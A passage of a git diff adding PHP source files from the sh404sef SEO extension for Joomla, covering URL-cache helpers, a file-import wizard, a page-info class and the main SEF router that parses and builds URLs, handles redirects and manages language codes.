($this->_cacheFileLocked || $forced) { + jimport( 'joomla.filesystem.file'); + if (JFile::exists( $this->_lockFilefullpath)) { + $this->_cacheFileLocked = !JFile::delete( $this->_lockFilefullpath); + } + } + + return $this->_cacheFileLocked; + + } + + protected function _varExport( $cache, $start) { + + // export content of array $cache, inserting a numeric key starting at $start + $size = count( $cache); + if (empty($size)) { + return ''; + } + $ret = ''; + + foreach($cache as $key => $value) { // use for instead of foreach to reduce memory usage + $tmp = explode('#', $value); // cache format : non-sef#sef#type + $nonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + $ret .= "\n".'$this->_urlCache[\''.md5($nonSef).'\']=\''.$value.'\';'; + } + + return $ret; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/importgeneric.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/importgeneric.php new file mode 100644 index 00000000..beeacb43 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/importgeneric.php @@ -0,0 +1,411 @@ + array( 'task' => 'doTerminate', 'view' => 'wizard', 'layout' => 'default') + ,-1 => array( 'task' => 'doCancel', 'view' => 'wizard', 'layout' => 'default') + , 0 => array( 'task' => 'doStart', 'view' => 'wizard', 'layout' => 'default') + , 1 => array( 'task' => 'doUpload', 'view' => 'wizard', 'layout' => 'default') + , 2 => array( 'task' => 'doValidate', 'view' => 'wizard', 'layout' => 'default') + , 3 => array( 'task' => 'doImport', 'view' => 'wizard', 'layout' => 'default') + + ); + + public $_stepsCount = 0; + public $_steps = array( 'next' => 0, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + public $_button = ''; + public $_buttonsList = array ('next', 'previous', 'terminate', 'cancel'); + // visible buttons are displayed as toolbar pressbutton + // buttons not on that list are passed as 'hidden' post data + public $_visibleButtonsList = array ( 'previous', 'next', 'terminate', 'cancel'); + + protected $_context = ''; + protected $_total = 0; + protected $_parentController = null; + protected $_filename = ''; + protected $_result = array(); + + const MAX_PAGEIDS_PER_STEP = 20; + + /** + * Constructor, keep reference to controller + * which called the adapter + * @param unknown_type $parentController + */ + public function __construct( $parentController) { + + $this->_parentController = $parentController; + + } + + /** + * Parameters for current adapter, to be used by parent controller + * + */ + public function setup() { + + $this->_stepsCount = count( $this->_stepsMap); + + // prepare data for controller + $properties = array(); + + $properties['_defaultController'] = 'wizard'; + $properties['_defaultTask'] = ''; + $properties['_defaultModel'] = ''; + $properties['_defaultView'] = 'wizard'; + $properties['_defaultLayout'] = 'default'; + + $properties['_returnController'] = 'default'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'default'; + $properties['_returnLayout'] = 'default'; + $properties['_pageTitle'] = JText::_('COM_SH404SEF_IMPORTING_TITLE'); + + return $properties; + + } + + /** + * First step, by default a message + * and a Terminate button + * + */ + public function doStart() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ('next', 'cancel'); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $this->_result['mainText'] = JText::_('COM_SH404SEF_IMPORT_' . strtoupper( $this->_context). '_START'); + + return $this->_result; + + } + + /** + * Second step, let user upload file + * + */ + public function doUpload() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ( 'next', 'cancel'); + + // next steps definition + $this->_steps = array( 'next' => 2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + + // make sure we can upload, ie set the correct encoding type for the form + $this->_result['setFormEncType'] = 'multipart/form-data'; + + // prepare display + $this->_result['mainText'] = JText::sprintf('COM_SH404SEF_IMPORT_UPLOAD_FILE', Sh404sefHelperFiles::getMaxUploadSize()); + + // add a file browse button + $this->_result['mainText'] .= '

    '; + + return $this->_result; + + } + + /** + * Second step, read file content, validate and display for user go ahead + * + */ + public function doValidate() { + + // get file name + $fileRecord = JRequest::getVar( 'wizardfile', null, 'files'); + + // move uploaded file, to get access to it + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_import_' . $this->_context); + + try { + if (!move_uploaded_file($fileRecord['tmp_name'], $this->_filename)) { + // could not write to web space temp dir + throw new Sh404sefExceptionDefault( JText::_('COM_SH404SEF_WRITE_FAILED')); + } + + // which button should be displayed ? + $this->_visibleButtonsList = array ( 'previous', 'next', 'cancel'); + + // next steps definition + $this->_steps = array( 'next' => 3, 'previous' => 1, 'cancel' => -1, 'terminate' => -2); + + // analyse file content, returning itemsCount + $importType = $this->_analyzeImportFileContent( $this->_filename); + + // we may have to change the opSubject and related data. If user asked for instance to import + // aliases, from the aliases page, but actually loaded an import file + // containing urls or pageids + if ($this->_context != $importType) { + $this->_result['opSubject'] = $importType; + // update filename + $oldFileName = $this->_filename; + $this->_filename = str_replace( $this->_context, $importType, $this->_filename); + // and rename the temp file + JFile::move( $oldFileName, $this->_filename); + // tell parent controller that we should go to new target afer this import + $this->_parentController->set( '_returnController', $importType); + $this->_parentController->set( '_returnView', $importType); + } + + // save current file for next steps + $this->_result['mainText'] = JText::sprintf( 'COM_SH404SEF_IMPORT_VALIDATE_IMPORT', $importType, $this->_total); + $this->_result['hiddenText'] = ''; + + } catch (Exception $e) { + $this->_handleException( $e); + } + + return $this->_result; + + } + + /** + * Last step, actually perform importation + * + */ + public function doImport() { + + // collect file and import type information + $this->_filename = JRequest::getString( 'filename'); + + try { + // read file content in an array + $lines = file( $this->_filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); + + // start analysing + if (empty( $lines)) { + throw new Sh404sefExceptionDefault( 'COM_SH404SEF_ERROR_IMPORT'); + } + + // extract header line + $header = array_shift( $lines); + if (empty( $header)) { + throw new Sh404sefExceptionDefault( 'COM_SH404SEF_ERROR_IMPORT'); + } + + // turn header into an array + $header = $this->_lineToArray( $header); + + // count items + $this->_total = count( $lines); + + // iterate through file content and create each record + foreach( $lines as $line) { + $this->_createRecord( $header, $line); + } + + // get back memory + unset( $lines); + + // delete temporary uploaded file + JFile::delete( $this->_filename); + + // which button should be displayed ? + $this->_visibleButtonsList = array ( 'terminate'); + + // next steps definition + $this->_steps = array( 'next' => 3, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // setup display of wizard last page + $this->_result['hiddenText'] = ''; + $this->_result['mainText'] = JText::sprintf('COM_SH404SEF_IMPORT_DONE', $this->_total, $this->_context); + $this->_result['mainText'] .= $this->_getTerminateOptions(); + + } catch (Exception $e) { + + $this->_handleException( $e); + + } + + return $this->_result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doTerminate() { + + // now go back to main page + $this->_result = array( 'redirectTo' => true); + + return $this->_result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doCancel() { + + $this->_result['redirectTo'] = true; + $this->_result['redirectOptions'] = array(); + + return $this->_result; + + } + + /** + * Analyze the content of a potential import file + * to try recognize its content. Also find the + * number of records in the file + * @param string $filename fully pathed file name + */ + protected function _analyzeImportFileContent( $filename) { + + // read file content in an array + $lines = file( $filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); + + // start analysing + if (empty( $lines)) { + throw new Sh404sefExceptionDefault( JText::_('COM_SH404SEF_IMPORT_UNRECOGNIZED_CONTENT')); + } + + // extract header line + jimport( 'joomla.utilities.string'); + $header = JString::trim(array_shift( $lines)); + if (empty( $header)) { + throw new Sh404sefExceptionDefault( JText::_('COM_SH404SEF_IMPORT_UNRECOGNIZED_CONTENT')); + } + + // check against known headers + $headers = Sh404sefHelperGeneral::getExportHeaders(); + foreach( $headers as $key => $value) { + if( $header == $value) { + $importType = $key; + break; + } + } + + // have we found something ? + if (empty( $importType)) { + throw new Sh404sefExceptionDefault( JText::_('COM_SH404SEF_IMPORT_UNRECOGNIZED_CONTENT')); + } + + // count items + $this->_total = count( $lines); + + // clear memory + unset( $lines); + + // return record + return $importType; + + } + + /** + * Return html for any option that could + * be presented to the user on the last + * page of the wizard (like clean temp files) + * for instance. This will be displayed just after + * the mainText text, as prepared by the main + * part of this controller + */ + protected function _getTerminateOptions() { + + $options = ''; + + return $options; + } + + /** + * Handle an exception by returning to step 2, where + * user can select a file + * + * @param Sh404sefExceptionDefault $e + */ + protected function _handleException( Exception $e) { + + // unable to get the file, display error and go back to step 2, "doUpload" + $this->_parentController->setError( $e->getMessage()); + + // try delete the uploaded file + if (JFile::exists( $this->_filename)) { + JFile::delete( $this->_filename); + } + + // go back to previous step + $this->doUpload(); + + } + + /** + * Creates a record in the database, based + * on data read from import file + * + * @param array $header an array of fields, as built from the header line + * @param string $line raw record obtained from import file + */ + protected function _createRecord( $header, $line) { + + return true; + + } + + + protected function _lineToArray( $line, $glue = null) { + + $glue = is_null( $glue) ? Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter : $glue; + + // remove opening and closing quotes - can't use trim or ltrim, as this would remove several occurences + if (substr( $line, 0, 1) == Sh404sefHelperFiles::$stringDelimiter) { + $line = substr( $line, 1); + } + if (substr( $line, -1, 1) == Sh404sefHelperFiles::$stringDelimiter) { + $line = substr( $line, 0, -1); + } + + // break up the line + $records = explode( $glue, $line); + if (empty( $records)) { + return $records; + } + + // now clean up a bit + foreach( $records as $i => $value) { + + // remove double quotes, and store back in array + $records[$i] = Sh404sefHelperFiles::csvUnquote( $value); + + } + + return $records; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/classes/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/pageinfo.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/pageinfo.php new file mode 100644 index 00000000..8cf318a1 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/pageinfo.php @@ -0,0 +1,276 @@ +getDefaultFrontLiveSite(); + * + * + * @author yannick + * + */ +class Sh404sefClassPageinfo +{ + const LIVE_SITE_SECURE_IGNORE = 0; + const LIVE_SITE_SECURE_YES = 1; + const LIVE_SITE_SECURE_NO = -1; + + const LIVE_SITE_NOT_MOBILE = 0; + const LIVE_SITE_MOBILE = 1; + + public $shURL = ''; + public $currentNonSefUrl = ''; + public $currentSefUrl = ''; + public $originalUri = ''; + public $baseUrl = ''; + public $currentLanguageTag = ''; + public $currentLanguageShortTag = ''; + public $allLangHomeLink = ''; + public $homeLink = ''; + public $homeLinks = array(); + public $homeItemid = 0; + public $isMobileRequest = self::LIVE_SITE_NOT_MOBILE; + public $httpStatus = null; + public $isMultilingual = null; + public $pageCanonicalUrl = ''; + public $joomlaSuffixSetting = 0; + public $pageTitle = ''; + public $pageTitlePr = ''; + + // pagination management + public $paginationPrevLink = ''; + public $paginationNextLink = ''; + + // store our router instance + public $router = null; + + // this will be filled up upon startup by system plugin + // code with the current detected base site url for the request + // ie: it can be secure, unsecure, for one language or another + protected $_defaultLiveSite = ''; + + public function setDefaultLiveSite($url) + { + $this->_defaultLiveSite = $url; + } + + public function getDefaultLiveSite() + { + return $this->_defaultLiveSite; + } + + public function getDefaultFrontLiveSite() + { + return str_replace('/administrator', '', $this->_defaultLiveSite); + } + + public function setCurrentLanguage($languageTag) + { + $this->currentLanguageTag = $languageTag; + $this->currentLanguageShortTag = Sh404sefHelperLanguage::getUrlCodeFromTag($languageTag); + } + + public function init() + { + static $_initialized = false; + + if (!$_initialized) + { + $this->joomlaSuffixSetting = JFactory::$config->get('sef_suffix'); + $this->originalUri = $this->getURI(); + $uri = JURI::getInstance(); + $this->currentSefUrl = $uri->toString(); + $site = $uri->toString(array('scheme', 'host', 'port')); + $this->basePath = JString::rtrim(str_replace($site, '', $uri->base()), '/'); + $this->detectMultilingual(); + $langCodes = JLanguageHelper::getLanguages('lang_code'); + $this->setCurrentLanguage(Sh404sefHelperLanguage::getDefaultLanguageTag()); + $this->_defaultLiveSite = JString::rtrim($uri->base(), '/'); + $this->loadHomepages(); + $_initialized = true; + } + } + + public function detectMultilingual() + { + $app = JFactory::getApplication(); + if ($app->isSite()) + { + $this->isMultilingual = $app->getLanguageFilter() ? 'joomla' : false; + } + } + + public function loadHomepages() + { + $app = JFactory::getApplication(); + if ($app->isAdmin()) + { + return; + } + + // store default links in each language + jimport('joomla.language.helper'); + $languages = JLanguageHelper::getLanguages(); + $defaultLanguage = Sh404sefHelperLanguage::getDefaultLanguageTag(); + if ($this->isMultilingual === false || $this->isMultilingual == 'joomla') + { + $menu = JFactory::getApplication()->getMenu(); + foreach ($languages as $language) + { + $menuItem = $menu->getDefault($language->lang_code); + if (!empty($menuItem)) + { + $this->homeLinks[$language->lang_code] = $this->_prepareLink($menuItem); + if ($language->lang_code == $defaultLanguage) + { + $this->homeLink = $this->homeLinks[$language->lang_code]; + $this->homeItemid = $menuItem->id; + } + } + } + + // find about the "All" languages home link + $menuItem = $menu->getDefault('*'); + if (!empty($menuItem)) + { + $this->allLangHomeLink = $this->_prepareLink($menuItem); + } + } + else + { + // trouble starts + $db = ShlDbHelper::getDb(); + $query = $db->getQuery(true); + $query->select('id,language,link'); + $query->from('#__menu'); + $query->where('home <> 0'); + try + { + $db->setQuery($query); + $items = $db->loadObjectList('language'); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + if (!empty($items)) + { + if (count($items) == 1) + { + $tmp = array_values($items); + $defaultItem = $tmp[0]; + } + if (empty($defaultItem)) + { + $defaultItem = empty($items[$defaultLanguage]) ? null : $items[$defaultLanguage]; + } + if (empty($defaultItem)) + { + $defaultItem = empty($items['*']) ? null : $items['*']; + } + foreach ($languages as $language) + { + if (!empty($items[$language->lang_code])) + { + $this->homeLinks[$language->lang_code] = $this->_prepareLink($items[$language->lang_code]); + } + else + { + // no menu item for home link + // let's try to build one + $this->homeLinks[$language->lang_code] = $this + ->_prepareLink($defaultItem, Sh404sefHelperLanguage::getUrlCodeFromTag($language->lang_code)); + } + + if ($language->lang_code == $defaultLanguage) + { + $this->homeLink = $this->homeLinks[$language->lang_code]; + $this->homeItemid = $defaultItem->id; + $this->allLangHomeLink = shCleanUpLang($this->homeLinks[$language->lang_code]); + } + + } + } + } + + ShlSystem_Log::debug('sh404sef', 'HomeLinks = %s', print_r($this->homeLinks, true)); + } + + protected function _prepareLink($menuItem, $forceLanguage = null) + { + $link = Sh404sefHelperUrl::setUrlVar($menuItem->link, 'Itemid', $menuItem->id); + $linkLang = Sh404sefHelperUrl::getUrlLang($link); + if (empty($linkLang)) + { + // if no language in link, use current, except if 'All', in which case use actual default + if (empty($forceLanguage)) + { + $itemLanguage = $menuItem->language == '*' ? Sh404sefHelperLanguage::getDefaultLanguageSef() + : Sh404sefHelperLanguage::getUrlCodeFromTag($menuItem->language); + } + else + { + $itemLanguage = $forceLanguage; + } + $link = Sh404sefHelperUrl::setUrlVar($link, 'lang', $itemLanguage); + } + + return $link; + } + + protected function getURI() + { + // copied from Joomla, as JURI keeps the original URI + // as a protected var, we can't access it + // Determine if the request was over SSL (HTTPS). + if (isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) != 'off')) + { + $https = 's://'; + } + else + { + $https = '://'; + } + + // Since we are assigning the URI from the server variables, we first need + // to determine if we are running on apache or IIS. If PHP_SELF and REQUEST_URI + // are present, we will assume we are running on apache. + + if (!empty($_SERVER['PHP_SELF']) && !empty($_SERVER['REQUEST_URI'])) + { + // To build the entire URI we need to prepend the protocol, and the http host + // to the URI string. + $theURI = 'http' . $https . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; + } + else + { + // Since we do not have REQUEST_URI to work with, we will assume we are + // running on IIS and will therefore need to work some magic with the SCRIPT_NAME and + // QUERY_STRING environment variables. + + // IIS uses the SCRIPT_NAME variable instead of a REQUEST_URI variable... thanks, MS + $theURI = 'http' . $https . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']; + + // If the query string exists append it to the URI string + if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) + { + $theURI .= '?' . $_SERVER['QUERY_STRING']; + } + } + return $theURI; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/router.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/router.php new file mode 100644 index 00000000..4481ab2b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/router.php @@ -0,0 +1,1693 @@ +_checkSeoRedirects($uri); + + // check www vs non-www and other domain related stuff + // may redirect to another url + $this->_checkDomain($uri); + + // load common language strings + $language = JFactory::getLanguage(); + $language->load('com_sh404sef.sys', JPATH_ADMINISTRATOR); + } + + /** + * Method attached to J! main router object + * and processed as a parseRule + * + * @param object J! router object reference + * @param object uri object provided by Joomla. Will represent request upon + * first call of this method, but any uri upon subsequent calls + * @return array $vars list of query variables as decoded by us, if any + */ + public function parseRule(&$jRouter, &$uri) + { + static $_vars = array(); + + // rebuild an URI object, bypassing any change made by the language filter plugin + $originalUrl = Sh404sefHelperUrl::getOriginalUrlFromUri($uri); + $originalPath = trim(Sh404sefHelperUrl::getOriginalPathFromUri($uri, JUri::base()), '/'); + $originalUri = new JUri($originalUrl); + $originalUri->setPath($originalPath); + + // check if url is accessed thru /index.php/ while site is + // set up to use url rewriting + $this->_checkAccessThruIndexphp($originalUri); + + // check if user has set any alias for this - possibly non-sef - url + $this->_checkAliases($originalUri); + + // check SEO redirects, such as index.php on home page + $this->_checkHomepageRedirects($originalUri); + + // calculate signature of uri, avoiding multiple parsing of same uri + $signature = md5($originalUrl); + + // don't parse twice, this would break J! 1.6 Router mode handling + if (isset($_vars[$signature])) + { + if (!self::$parsedWithJoomlaRouter) + { + $uri->setPath(''); + $uri->setQuery($_vars[$signature]); + } + + return $_vars[$signature]; + } + + // debug info + ShlSystem_Log::debug('sh404sef', 'Starting to parse %s', print_r($uri, true)); + + // fix the path before checking url. Joomla unfortunately remove + // the trailing slash from the path, thus we're not working on the actual requested URL + if (!self::$requestParsed) + { + $path = $uri->getPath(); + if (!empty($path)) + { + if ($this->_hasTrailingSlash() & JString::substr($path, -1) != '/') + { + // if trailing slash on original request, but not on path + // put it back + $uri->setPath($path . '/'); + } + } + } + + /* + * 1 - We don't know what the language filter may or may not have done + * with the path. It may already have returned a lang var to the router + * but we don't know that either + * + * Actually we do: if a language was detected, $app->input->get('language') + * will have the language code (ie en-GB) + * If that is set, the path has been truncated, ie the leading en/ code + * has been removed (and no query var set to compensate!) + * + * 2 - What we can do: compare the original url with the path + * in $uri. If we do have a language in the original but not + * in the incoming $uri, then language filter already has done lang + * detection and removed that from the path (including when there's no + * language code at all: that's default language) + * Then we can: + * - figure out what the language is and stick it back in $uri + * - parse through sh404sef + * - remove the leading lang code we put in $uri + * - unset any 'lang' we may have calculated ourselves so as + * not to override what the languge filter has done + * EDIT: to still be able to switch back to default language (when no lang code is used + * on default language, we must use trick (ie set a cookie) + * + */ + $appLang = JFactory::getApplication()->input->get('language', ''); + $sefLangCode = ''; + if (!empty($appLang)) + { + $languages = JLanguageHelper::getLanguages('lang_code'); + $sefLangCode = empty($languages[$appLang]) ? '' : $languages[$appLang]->sef; + } + + $currentPath = ''; + $sefConfig = Sh404sefFactory::getConfig(); + if (!empty($sefLangCode) + && ($appLang != Sh404sefHelperLanguage::getDefaultLanguageTag() + || ($appLang == Sh404sefHelperLanguage::getDefaultLanguageTag() && Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage() + && $uri->getPath() != ''))) + { + // stick back the path in the url + $currentPath = $uri->getPath(); + $uri->setPath($sefLangCode . '/' . (empty($currentPath) ? '' : $currentPath)); + } + + // do the parsing + $_vars[$signature] = $this->_parseSefRoute($uri); + + if (!empty($_vars[$signature])) + { + // merge our decoded vars with those that could be passed as query string + $_vars[$signature] = array_merge($_vars[$signature], $uri->getQuery($asArray = true)); + if (!self::$parsedWithJoomlaRouter) + { + $uri->setQuery($_vars[$signature]); + } + + // kill the path, so that J! router don't try to keep parsing + // the sef url + if (!self::$parsedWithJoomlaRouter) + { + $uri->setPath(''); + + // when J! will try parse this as RAW route, for some reasons it + // tries to get the Itemid from the request, so we have to fake having one + if (!empty($_vars[$signature]['Itemid'])) + { + JRequest::setVar('Itemid', (int) $_vars[$signature]['Itemid']); + } + + // big bad hack for Joomla 3.x + $this->_mailtoHack($_vars[$signature]); + } + + // now store the decoded current non-sef url + $nonSefUrl = 'index.php' . $uri->toString(array('query', 'fragment')); + Sh404sefFactory::getPageInfo()->currentNonSefUrl = $nonSefUrl; + } + else if (!empty($appLang)) + { + // revert the changes we made to $uri + $uri->setPath($currentPath); + } + + // mark request as parsed, so that we don't try to do + // redirects and such if the router parse method is + // called several times + self::$requestParsed = true; + + // a few per-extension hacks + $this->_extensionsParseHacks($jRouter, $uri, $_vars[$signature]); + + // store page language information + if (!empty($appLang)) + { + Sh404sefFactory::getPageInfo()->setCurrentLanguage($appLang); + } + + // Send that back to J! router to put everything together + if (self::$parsedWithJoomlaRouter) + { + return array(); + } + else + { + return $_vars[$signature]; + } + } + + /** + * Some extensions do unusual things we might have to accomodate + * + * @param JRouter $jRouter + * @param JURI $uri + * @param array $vars + */ + private function _extensionsParseHacks(&$jRouter, &$uri, &$vars) + { + if(!class_exists('KunenaRoute')) + { + return; + } + + // Kunena - sometimes - uses an internal $current variable + // to build urls, notably pagination links. That variable + // is set inside the parse function of its router.php KunenaParseRoute function + if (!empty($vars['option']) && $vars['option'] == 'com_kunena') + { + foreach ($vars as $key => $value) + { + if ($key != 'start') + { + KunenaRoute::$current->setVar($key, $value); + } + } + } + + // Community Builder: uses directly $_GET, which is not set + // by the Joomla router + if (!empty($vars['option']) && $vars['option'] == 'com_comprofiler') + { + foreach ($vars as $key => $value) + { + if ($key == 'limitstart') + { + JRequest::setVar($key, $value); + } + } + } + } + + /** + * As of Joomla 3.2.x, mailto component incorrectly uses JRequest::getVar() to fetch + * the mailto link (it uses the 'method' param, which is ok on J 2.5, but bad on 3.x, as + * the router does not set the request after routing, but instead set $app->input) + * This hack makes sure link is passed as a GET var + * + * @param array $vars + */ + private function _mailtoHack($vars) + { + if (!version_compare(JVERSION, '3.0', 'ge') || empty($vars['option']) || empty($vars['link'])) + { + return; + } + if ($vars['option'] == 'com_mailto' && empty($vars['view'])) + { + JRequest::setVar('link', $vars['link']); + } + } + + /** + * Method attached to J! main router object + * and processed as a buildRule + * + * @param object J! router object reference + * @param object uri object provided by Joomla. We must set the path of this + * object, and adjust its query vars list, removing those that are represented + * in the path and thus don't need anymore to be specified as query vars + */ + public function buildRule(&$jRouter, &$uri) + { + // if superadmin, display non-sef URL, for testing/setting up purposes + if (sh404SEF_NON_SEF_IF_SUPERADMIN) + { + $user = JFactory::getUser(); + if ($user->usertype == 'Super Administrator') + { + ShlSystem_Log::debug('sh404sef', 'Returning non-sef because superadmin said so.'); + return; + } + } + + // keep a copy of Joomla original URI, which has article names in it (ie: 43:article-title) + $this->_originalBuildUri = clone ($uri); + + // build the path + $this->_buildSefRoute($uri); + + // a few per-extension hacks + $this->_extensionsBuildHacks($jRouter, $uri); + } + + /** + * Some extensions do unusual things we might have to accomodate + * + * @param JRouter $jRouter + * @param JURI $uri + */ + private function _extensionsBuildHacks(&$jRouter, &$uri) + { + $propertyName = version_compare(JVERSION, '3.0', 'ge') ? 'uri' : '_uri'; + $originalUrl = Sh404sefHelperGeneral::getProtectedProperty('Juri', $propertyName, $uri); + $option = Sh404sefHelperUrl::getUrlVar($originalUrl, 'option', ''); + if ($option == 'com_kunena') + { + // remove empty limitstart + $limitstart = $uri->getVar('limitstart', null); + if (empty($limitstart) && !is_null($limitstart)) + { + $uri->delVar('limitstart'); + } + } + } + + protected function _buildSefRouteInternal(&$uri) + { + // kill Joomla suffix, so that it doesn't add or remove it in the parsing/building process + JFactory::$config->set('sef_suffix', 0); + + $pageInfo = Sh404sefFactory::getPageInfo(); + $sefConfig = Sh404sefFactory::getConfig(); + $app = JFactory::getApplication(); + $menu = $app->getMenu(); + + // restore uri as it will have been "damaged" by languagefilter plugin + if ($app->getLanguageFilter()) + { + $originalUrl = Sh404sefHelperUrl::getOriginalUrlFromUri($uri); + $uri = new JUri($originalUrl); + $option = $uri->getVar('option', ''); + if (empty($option)) + { + $Itemid = $uri->getVar('Itemid', 0); + if (!empty($Itemid)) + { + $menuItem = $menu->getItem($Itemid); + if (!empty($menuItem)) + { + $tmpVars = array(); + parse_str(str_replace('index.php?', '', $menuItem->link), $tmpVars); + if (!empty($tmpVars['option'])) + { + $uri->setVar('option', $tmpVars['option']); + } + } + } + } + } + + // keep a copy of almost-original uri + $originalUri = clone ($uri); + + // put non-sef in a standard form, includes restoring full url + // from menu item, when only an Itemid is specified + shNormalizeNonSefUri($uri, $menu); + + // do our job! + $query = $uri->getQuery(false); + + // shortcut for components that must be left non-sef or use Joomla! router + $option = Sh404sefHelperUrl::getUrlVar($query, 'option', ''); + $option = str_replace('com_', '', $option); + if (!empty($option)) + { + $alwaysSkip = Sh404sefFactory::getPConfig()->alwaysNonSefComponents; + $toSkip = array_merge($alwaysSkip, $sefConfig->skip); + if (in_array($option, $toSkip)) + { + $sefUrl = $uri->toString(array('path', 'query', 'fragment')); + $uri->setPath($sefUrl); + $uri->setQuery(array()); + return; + } + + // use J! router + if (in_array($option, $sefConfig->useJoomlaRouter)) + { + // restore original suffix setting, so that Joomla adds suffix + // where it's due + JFactory::$config->set('sef_suffix', $pageInfo->joomlaSuffixSetting); + $uri = $this->_originalBuildUri; + return; + } + } + + // no shortcut, normal route + $route = shSefRelToAbs('index.php?' . $query, null, $uri, $originalUri); + $route = ltrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $route), '/'); + $route = $route == '/' ? '' : $route; + + // check against forced home page, ie using a splash page + $forcedHomePage = empty($sefConfig->shForcedHomePage) ? '' + : str_replace($pageInfo->getDefaultFrontLiveSite(), '', $sefConfig->shForcedHomePage); + if ($route == 'index.php' && !empty($forcedHomePage)) + { + $route = $forcedHomePage . '?sh404sef_splash=1'; + } + + // find path + $nonSefVars = $uri->getQuery($asArray = true); + if (strpos($route, '?') !== false && !empty($nonSefVars)) + { + $parts = explode('?', $route); + // there are some query vars, just use the path + $path = $parts[0]; + } + else + { + $path = $route; + } + $uri->setPath($path); + } + + /** + * Public wrapper around encode route segments + * from J! router method + * + * @param array An array of route segments + * @return array + */ + public function encodeSegments($segments) + { + sh404sefHelperUrl::encodeSegments($segments); + } + + /** + * Actual method performing parsing of a request as described + * by an JURI object + * + * Also performs additional duties, like checking on aliases, + * searching alternates syntax (add/remove trailing slash), + * auto-redirect from non-sef to sef, etc + * Possibly trigger a 404 if url can't be parsed to a valid + * non sef url + * + * @see JRouter::_parseSefRoute() + */ + protected function _parseSefRouteInternal(&$uri) + { + // will hold query vars parsed + $vars = array(); + + // general config + $sefConfig = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + // get request path and try to decode it + $path = $uri->getPath(); + + // home page + if (empty($path)) + { + // check more redirects: from non sef to sef + $this->_checkNonSefToSefRedirects($uri); + + // now if no query vars, this is really home page + $uriVars = $uri->getQuery(true); + if (empty($uriVars)) + { + // Create the query array. + $homeLink = $pageInfo->homeLink; + $homeLink = str_replace('index.php?', '', $homeLink); + $homeLink = str_replace('&', '&', $homeLink); + + parse_str($homeLink, $item->query); + $vars = $item->query; + + // Get its Itemid + $vars['Itemid'] = $pageInfo->homeItemid; + } + else + { + // if some query vars, just pass them thru + $vars = $uriVars; + } + } + + // non home page + if (!empty($path)) + { + // lookup db for this sef + $lookUp = $this->_lookupSef($uri, $vars, $path); + + // store the fetched data, if any + $vars = $lookUp->vars; + + // and take additional actions based on the result of the lookup + switch ($lookUp->urlType) + { + // existing matching url + case sh404SEF_URLTYPE_AUTO: + case sh404SEF_URLTYPE_CUSTOM: + break; + + // 404 or some kind of redirect + default: + // maybe there are some manually created redirects + // in Joomla Redirect component? + $this->_checkJoomlaRedirects($uri); + + // check more redirects: from Joomla SEF to our SEF + $this->_checkJoomlaSefToSefRedirects($uri); + + // try find similar urls to redirect to: with or without trailing slash + $this->_checkTrailingSlash($uri); + + // there might be an alias we're supposed to redirect current request to + $this->_checkAliases($uri); + + // check if this is a short url + $this->_checkShurls($uri); + + // try using J! router + // if at least one extension uses Joomla! router, we must first try to use that + if (!empty(Sh404sefFactory::getConfig()->useJoomlaRouter)) + { + + // use parent parser + $vars = parent::_parseSefRoute($uri); + + // if we found something, raise a flag + self::$parsedWithJoomlaRouter = true; + // collect vars that may have been stored by J! such as Itemid + $vars = array_merge(Sh404sefFactory::getPageInfo()->router->getVars(), $vars); + $this->setVars(array()); + + // and cut through the rest of the processing + break; + } + + // if no alternative found, issue a 404 + $vars = $this->_do404($uri); + break; + } + } + + // Set the menu item as active, if we found any + // this would normally be done by Joomla own _parseSefRoute() method + // except it's not gonna be run as we changed the routing mode from + // JROUTER_MODE_SEF to our own (ROUTER_MODE_SH404SEF) + if (!self::$requestParsed && ($pageInfo->isMultilingual === false || $pageInfo->isMultilingual == 'joomla')) + { + if (!empty($vars['Itemid'])) + { + JFactory::getApplication()->getMenu()->setActive($vars['Itemid']); + } + } + + // do security checks after decoding url + if ($sefConfig->shSecEnableSecurity) + { + require_once(JPATH_ROOT . '/components/com_sh404sef/shSec.php'); + // do security checks + shDoSecurityChecks($this->getFullUrl($uri), false);// check this newly created URL + } + + return $vars; + } + + /** + * Put back the base path that was removed by Joomla router prior to sending + * uri to parserule + * + * @param JURI $uri + 